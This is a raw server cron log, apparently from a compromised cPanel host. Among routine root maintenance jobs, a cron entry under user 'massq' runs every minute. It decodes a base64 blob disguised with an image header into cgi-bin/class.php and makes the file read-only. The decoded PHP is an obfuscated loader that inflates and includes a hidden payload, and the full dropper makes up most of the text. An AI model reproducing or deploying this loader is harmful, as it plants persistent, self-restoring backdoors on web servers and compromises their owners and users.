Sep  7 19:18:01 server CROND[9390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:19:01 server CROND[9770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:19:01 server CROND[9771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:19:01 server CROND[9772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:20:01 server CROND[10220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:20:01 server CROND[10228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:20:01 server CROND[10246]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:20:01 server CROND[10247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:20:01 server CROND[10251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:20:01 server CROND[10264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:20:01 server CROND[10267]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:20:01 server CROND[10269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:20:01 server CROND[10256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:21:01 server CROND[11113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:21:01 server CROND[11114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:21:01 server CROND[11115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:22:01 server CROND[11594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:22:01 server CROND[11595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:22:01 server CROND[11596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:23:01 server CROND[12057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:23:01 server CROND[12058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:23:01 server CROND[12059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:24:01 server CROND[12468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:24:01 server CROND[12470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:24:01 server CROND[12469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:25:01 server CROND[12860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:25:01 server CROND[12861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:25:01 server CROND[12862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:25:01 server CROND[12866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:25:01 server CROND[12864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:25:01 server CROND[12865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:25:01 server CROND[12863]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:26:01 server CROND[13691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:26:01 server CROND[13693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:26:01 server CROND[13694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:27:01 server CROND[14208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:27:01 server CROND[14209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:27:01 server CROND[14206]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:27:01 server CROND[14207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:28:01 server CROND[14607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:28:01 server CROND[14609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:28:01 server CROND[14608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:29:01 server CROND[15563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:29:01 server CROND[15564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:29:01 server CROND[15565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:30:01 server CROND[15959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:30:01 server CROND[15964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:30:01 server CROND[15966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:30:01 server CROND[15973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:30:01 server CROND[15974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
